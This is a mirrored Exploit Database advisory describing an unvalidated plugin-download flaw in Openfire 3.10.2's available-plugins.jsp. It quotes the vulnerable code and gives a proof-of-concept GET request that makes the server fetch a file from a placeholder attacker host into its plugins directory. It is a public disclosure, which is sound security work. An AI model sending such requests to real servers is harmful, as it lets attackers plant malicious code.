Openfire 3.10.2 – Remote File Inclusion

• Exploit Database
• 15 阅读

• 作者： hyp3rlinx
  日期： 2015-09-15
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/38189/

• [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-RFI.txt
  
  
  
  Vendor:
  ================================
  www.igniterealtime.org/projects/openfire
  www.igniterealtime.org/downloads/index.jsp
  
  
  
  Product:
  ================================
  Openfire 3.10.2
  
  Openfire is a real time collaboration (RTC) server licensed under the Open
  Source Apache License.
  It uses the only widely adopted open protocol for instant messaging, XMPP
  (also called Jabber).
  
  
  Vulnerability Type:
  =================================
  Remote File Inclusion
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  
  
  Vulnerability Details:
  =====================
  
  In "available-plugins.jsp" there is no validation for plugin downloads,
  allowing arbitrary file downloads
  from anywhere on the internet.
  
  On line 40: all that needs to be satisfied is the paramater is not null.
  
  boolean downloadRequested = request.getParameter("download") != null;
  String url = request.getParameter("url");
  
  
  If the above condition check returns true, the application downloads
  whatever file you give it.
  
  line 54:
  
  if (downloadRequested) {
  // Download and install new plugin
  updateManager.downloadPlugin(url);
  // Log the event
  webManager.logEvent("downloaded new plugin from "+url, null);
  }
  
  
  
  
  Exploit code(s):
  ================
  
  1) download arbitrary filez
  
  e.g.
  
  http://localhost:9090/available-plugins.jsp?download=1&url=http://ghostofsin.abyss/abysmalgod.exe
  
  Our RFI will be downloaded to "openfire\plugins" directory.
  
  
  
  
  Disclosure Timeline:
  =========================================================
  Vendor Notification:NA
  Sept 14, 2015: Public Disclosure
  
  
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  
  Severity Level:
  =========================================================
  High
  
  
  
  Description:
  ==========================================================
  
  
  Request Method(s):[+]GET
  
  
  Vulnerable Product: [+]Openfire 3.10.2
  
  
  Vulnerable Parameter(s):[+]download, url
  
  
  Affected Area(s): [+]Server
  
  
  ===========================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere.
  
  by hyp3rlinx